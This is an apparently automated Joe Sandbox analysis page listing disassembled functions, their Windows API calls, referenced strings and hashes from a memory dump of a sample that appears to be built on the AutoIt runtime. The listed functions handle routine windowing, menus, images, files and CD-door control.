API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: S$0$tooltips_class32
API String ID: 1297703922-78703180
Opcode ID: 949e23ba17ed6d92d001fc079a23e2c4b2d090435f941c647d4bcd62dff62052
Instruction ID: 85d91202863415961a17800140d092b9033f5d8d3d7aeef20e78810c0a6777e2
Opcode Fuzzy Hash: 949e23ba17ed6d92d001fc079a23e2c4b2d090435f941c647d4bcd62dff62052
Instruction Fuzzy Hash: 3471AB70181205AFEB25DF28CC48F6A7BE5FB88704F04452EFA85C72A1D7B4E946CB56

Function 0088C5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

DragQueryPoint.SHELL32(?,?), ref: 0088C627

Part of subcall function 0088AB37: ClientToScreen.USER32(?,?), ref: 0088AB60
Part of subcall function 0088AB37: GetWindowRect.USER32(?,?), ref: 0088ABD6
Part of subcall function 0088AB37: PtInRect.USER32(?,?,0088C014), ref: 0088ABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 0088C690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0088C69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0088C6BE
_wcscat.LIBCMT ref: 0088C6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0088C705
SendMessageW.USER32(?,000000B0,?,?), ref: 0088C71E
SendMessageW.USER32(?,000000B1,?,?), ref: 0088C735
SendMessageW.USER32(?,000000B1,?,?), ref: 0088C757
DragFinish.SHELL32(?), ref: 0088C75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0088C851

Strings

S, xrefs: 0088C65D, 0088C6CA
@GUI_DRAGFILE, xrefs: 0088C800
@GUI_DROPID, xrefs: 0088C77E
@GUI_DRAGID, xrefs: 0088C7C9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: S$@GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-1565791370
Opcode ID: a5475f7cf6d70c1de237f624fee0ec33af4d5f23223d48de6e488611a275ba34
Instruction ID: 98ee8ffa1e80363d811b4eaf5a4114556deac2829383b18b23ce05847c3b4191
Opcode Fuzzy Hash: a5475f7cf6d70c1de237f624fee0ec33af4d5f23223d48de6e488611a275ba34
Instruction Fuzzy Hash: 0B614D71108305AFC701EF68DC85D9BBBE8FF99710F10092EF695D22A1DB70A949CB62

Function 0085ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0085AC33

Strings

HANDLE=, xrefs: 0085AC2C
[ALL, xrefs: 0085ACD9
[ACTIVE, xrefs: 0085AC20
[HANDLE:, xrefs: 0085AC3F
ALL, xrefs: 0085ACC7
ACTIVE, xrefs: 0085AC0E
REGEXP=, xrefs: 0085AC48
CLASSNAME=, xrefs: 0085AC70
[LAST, xrefs: 0085ACE0
[REGEXPTITLE:, xrefs: 0085AC5B
[CLASS:, xrefs: 0085AC83
LAST, xrefs: 0085ABF8

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 05e7d533fdedcdd7bd1c562b09e5ef8cfa99daace64f889712f4daa85f417ade
Instruction ID: 38221812aec68d045c01148f71e7176f53a51ff5d99ce45a5f6a16ad26650880
Opcode Fuzzy Hash: 05e7d533fdedcdd7bd1c562b09e5ef8cfa99daace64f889712f4daa85f417ade
Instruction Fuzzy Hash: DB31B031948319AADB58FA68ED93EEE7764FF10711F600528F812F12D1EB656F088653

Function 00874FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00875013
LoadCursorW.USER32(00000000,00007F00), ref: 0087501E
LoadCursorW.USER32(00000000,00007F03), ref: 00875029
LoadCursorW.USER32(00000000,00007F8B), ref: 00875034
LoadCursorW.USER32(00000000,00007F01), ref: 0087503F
LoadCursorW.USER32(00000000,00007F81), ref: 0087504A
LoadCursorW.USER32(00000000,00007F88), ref: 00875055
LoadCursorW.USER32(00000000,00007F80), ref: 00875060
LoadCursorW.USER32(00000000,00007F86), ref: 0087506B
LoadCursorW.USER32(00000000,00007F83), ref: 00875076
LoadCursorW.USER32(00000000,00007F85), ref: 00875081
LoadCursorW.USER32(00000000,00007F82), ref: 0087508C
LoadCursorW.USER32(00000000,00007F84), ref: 00875097
LoadCursorW.USER32(00000000,00007F04), ref: 008750A2
LoadCursorW.USER32(00000000,00007F02), ref: 008750AD
LoadCursorW.USER32(00000000,00007F89), ref: 008750B8
GetCursorInfo.USER32(?), ref: 008750C8

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 1c49d96d8dfe0574f075f1f529088c1278057ac2f4c305b1f5dbe0deb1bb4c7b
Instruction ID: 40e3443878cb3b846d6bdc1405e741317295f8937d2bb12f17ee2613ef9ea7e6
Opcode Fuzzy Hash: 1c49d96d8dfe0574f075f1f529088c1278057ac2f4c305b1f5dbe0deb1bb4c7b
Instruction Fuzzy Hash: 9D3112B1D0831DAADF509FB68C8996EBFE8FF04750F50453AE50DE7281DA78A5008FA1

Function 00884392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00884424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0088446F

Strings

GETTOTALCOUNT, xrefs: 00884456
EXPAND, xrefs: 00884521
GETSELECTED, xrefs: 0088457F
GETTEXT, xrefs: 008845C2
COLLAPSE, xrefs: 008844B5
ISCHECKED, xrefs: 008845F2
CHECK, xrefs: 0088448F
GETITEMCOUNT, xrefs: 00884551
EXISTS, xrefs: 008844D8
UNCHECK, xrefs: 0088464B
SELECT, xrefs: 00884620

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: dcfed3056ae17ced95bfca243cb6bfd4532ffaad0309406b44cdf3dd06429d89
Instruction ID: 0e4f187bc7a51509e7b687fd1beaec5e61dcef4e4094791bea5b26ef6adf22d5
Opcode Fuzzy Hash: dcfed3056ae17ced95bfca243cb6bfd4532ffaad0309406b44cdf3dd06429d89
Instruction Fuzzy Hash: 6A915C712047129BCB04EF18C851A6EB7A1FF95354F548868F896DB3A3DB31ED49CB82

Function 0088C1AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0088C1FC
GetFocus.USER32 ref: 0088C20C
GetDlgCtrlID.USER32(00000000), ref: 0088C217
_memset.LIBCMT ref: 0088C342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0088C36D
GetMenuItemCount.USER32(?), ref: 0088C38D
GetMenuItemID.USER32(?,00000000), ref: 0088C3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0088C3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0088C41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0088C454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0088C489

Strings

0, xrefs: 0088C33A
S, xrefs: 0088C2F2, 0088C318

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: S$0
API String ID: 1296962147-770256432
Opcode ID: c727e1c0f31bed9bd95afe0d1cfb34c60764d219c1fe4a7f77611a1a0c9d9703
Instruction ID: 0356e01dd7b9210e479059e5ed2290877b53723e97e8b922bb7b11ab3731bcd8
Opcode Fuzzy Hash: c727e1c0f31bed9bd95afe0d1cfb34c60764d219c1fe4a7f77611a1a0c9d9703
Instruction Fuzzy Hash: 08816D70208311AFDB20EF18D894A7BBBE4FB88714F00492EFA95D7295D770D945CB62

Function 0088B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0088B8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,008891C2), ref: 0088B910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0088B949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0088B98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0088B9C3
FreeLibrary.KERNEL32(?), ref: 0088B9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0088B9DF
DestroyIcon.USER32(?,?,?,?,?,008891C2), ref: 0088B9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0088BA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0088BA17

Part of subcall function 00822EFD: __wcsicmp_l.LIBCMT ref: 00822F86

Strings

.dll, xrefs: 0088B86D
.exe, xrefs: 0088B84A
.icl, xrefs: 0088B82A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: fd89b67c4b5f8dcd75ca4f24ddb924e01e5c771f5d7af8575f8572fc4a356d5f
Instruction ID: 622ccecfa83ed4bd18f56b07353358b5d3f7b89d0ce6e7a7f788920165ec6581
Opcode Fuzzy Hash: fd89b67c4b5f8dcd75ca4f24ddb924e01e5c771f5d7af8575f8572fc4a356d5f
Instruction Fuzzy Hash: 8D61E371540229BAEB14EF68DC41FBE7BACFF08721F108115FA15D61D2EB74A990DBA0

Function 0080201B Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00801B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00802036,?,00000000,?,?,?,?,008016CB,00000000,?), ref: 00801B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 008020D3
KillTimer.USER32(-00000001,?,?,?,?,008016CB,00000000,?,?,00801AE2,?,?), ref: 0080216E
DestroyAcceleratorTable.USER32(00000000), ref: 0083BCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,008016CB,00000000,?,?,00801AE2,?,?), ref: 0083BCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,008016CB,00000000,?,?,00801AE2,?,?), ref: 0083BCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,008016CB,00000000,?,?,00801AE2,?,?), ref: 0083BD0A
DeleteObject.GDI32(00000000), ref: 0083BD1C

Strings

S, xrefs: 00802054

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID: S
API String ID: 641708696-2858979982
Opcode ID: cfdde857ff99f7778e480b22f8b72580c43dfe5890cc4e8f9d4ab15317964d11
Instruction ID: e7eab0f31d1100de763a35346fa0264e8146c8c00729d557c309543d5e5c0a87
Opcode Fuzzy Hash: cfdde857ff99f7778e480b22f8b72580c43dfe5890cc4e8f9d4ab15317964d11
Instruction Fuzzy Hash: B5617531110B00DFDB75AF18DD4CB2AB7F2FB80316F508529E642CA9A1C7B4B891DB91

Function 0086A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

CharLowerBuffW.USER32(?,?), ref: 0086A3CB
GetDriveTypeW.KERNEL32 ref: 0086A418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0086A460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0086A497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0086A4C5

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

Strings

open, xrefs: 0086A3F2
open , xrefs: 0086A427
close, xrefs: 0086A3D1
closed, xrefs: 0086A3DF, 0086A3E8
wait, xrefs: 0086A482
set cd door , xrefs: 0086A466
close cd wait, xrefs: 0086A4B0
type cdaudio alias cd wait, xrefs: 0086A443

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 3644b13f75b1ddaad931b07d6011c0494f34ff465f25879290f5e1c38318641c
Instruction ID: 0a5d1d51ba26ef77f11b9b3a9f0b140dc291dbea7e4f8f4b5e39c48fd2c1e2c1
Opcode Fuzzy Hash: 3644b13f75b1ddaad931b07d6011c0494f34ff465f25879290f5e1c38318641c
Instruction Fuzzy Hash: 7D512A715042059FC744EF14CC9196AB7E8FF94718F50886DF89AA73A2DB31AD09CF52

Function 0085F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,0083E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 0085F8DF
LoadStringW.USER32(00000000,?,0083E029,00000001), ref: 0085F8E8

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

GetModuleHandleW.KERNEL32(00000000,008C5310,?,00000FFF,?,?,0083E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 0085F90A
LoadStringW.USER32(00000000,?,0083E029,00000001), ref: 0085F90D
__swprintf.LIBCMT ref: 0085F95D
__swprintf.LIBCMT ref: 0085F96E
_wprintf.LIBCMT ref: 0085FA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0085FA2E

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0085FA12
^ ERROR, xrefs: 0085F9C3
Line %d:, xrefs: 0085F968
Error: , xrefs: 0085F9E5
Line %d (File "%s"):, xrefs: 0085F957

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: bd0891c39e9693e2a9fe9ea0374c34fa86e5c06ce65b29ffa02515d2ad273648
Instruction ID: d6c13dfff4fe4801833c8b3a751d9eede6e7d37079775a103adff85957709c1a
Opcode Fuzzy Hash: bd0891c39e9693e2a9fe9ea0374c34fa86e5c06ce65b29ffa02515d2ad273648
Instruction Fuzzy Hash: 84413C72800119AACF05FBE8DD96DEE7778FF14305F500065BA05F2192EA356F49CB62

Function 008021A5 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 008025DB: GetWindowLongW.USER32(?,000000EB), ref: 008025EC

GetSysColor.USER32(0000000F), ref: 008021D3

Strings

S, xrefs: 008021ED

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ColorLongWindow
String ID: S
API String ID: 259745315-2858979982
Opcode ID: 2c96a504c66d2f137a9f77688c74d661e56ed8829b5a151c75012343728e8f16
Instruction ID: e228c4ee9728979e75b223ab65a947b01103a9f04edbcbfb34dfb8606d3580f4
Opcode Fuzzy Hash: 2c96a504c66d2f137a9f77688c74d661e56ed8829b5a151c75012343728e8f16
Instruction Fuzzy Hash: 89418E35100140AADB619F6CDC8CBB97B66FB46321F244265FE65CA1E2C7718C82DB61

Function 0088BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00889207,?,?), ref: 0088BA56
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00889207,?,?,00000000,?), ref: 0088BA6D
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00889207,?,?,00000000,?), ref: 0088BA78
CloseHandle.KERNEL32(00000000,?,?,?,?,00889207,?,?,00000000,?), ref: 0088BA85
GlobalLock.KERNEL32(00000000), ref: 0088BA8E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00889207,?,?,00000000,?), ref: 0088BA9D
GlobalUnlock.KERNEL32(00000000), ref: 0088BAA6
CloseHandle.KERNEL32(00000000,?,?,?,?,00889207,?,?,00000000,?), ref: 0088BAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00889207,?,?,00000000,?), ref: 0088BABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,00892CAC,?), ref: 0088BAD7
GlobalFree.KERNEL32(00000000), ref: 0088BAE7
GetObjectW.GDI32(00000000,00000018,?), ref: 0088BB0B
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0088BB36
DeleteObject.GDI32(00000000), ref: 0088BB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0088BB74

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: b03c89a5ac31746fe339aa1d7c9400a08140b55621943ce33c3a55c3f13962f2
Instruction ID: 76f18a920ec3ede86582493f449f9745b5fa1ece70f10eb2ef2ab41ea6252e83
Opcode Fuzzy Hash: b03c89a5ac31746fe339aa1d7c9400a08140b55621943ce33c3a55c3f13962f2
Instruction Fuzzy Hash: 43411A75601208EFDB21AF69DC88EAB7BB8FF89721F104069FA09D7261D7309D01DB60

Function 0086D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 0086DA10
_wcscat.LIBCMT ref: 0086DA28
_wcscat.LIBCMT ref: 0086DA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0086DA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 0086DA63
GetFileAttributesW.KERNEL32(?), ref: 0086DA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 0086DA95
SetCurrentDirectoryW.KERNEL32(?), ref: 0086DAA7

Strings

*.*, xrefs: 0086DAE6

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: d0d262c55a1bab323511d8ee273f0d978a4641f2506927b96dc2f33b22a16971
Instruction ID: 6deaf191bbdbae7557c5144fa7e4df1b96fb0fd04530c9c62c5f08ac286d6926
Opcode Fuzzy Hash: d0d262c55a1bab323511d8ee273f0d978a4641f2506927b96dc2f33b22a16971
Instruction Fuzzy Hash: 32818471A043459FCB64DF68C84596ABBE4FF89314F198C2EF889CB251D730D945CB52

Function 00886F23 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00886FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00886FA8
GetWindowLongW.USER32(?,000000F0), ref: 00886FCC
_memset.LIBCMT ref: 00886FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00886FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00887067

Strings

S, xrefs: 00886F6F, 00886F7E, 00886FB4, 00887006, 0088712F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID: S
API String ID: 830647256-2858979982
Opcode ID: 1aae85d4144ff0caaab470afeee9b85fac275c904ee780e0619bf9830990e211
Instruction ID: af0933d381ba72a9638a042d304cd30123acd194253aef2a26cfc5d4965f4ff1
Opcode Fuzzy Hash: 1aae85d4144ff0caaab470afeee9b85fac275c904ee780e0619bf9830990e211
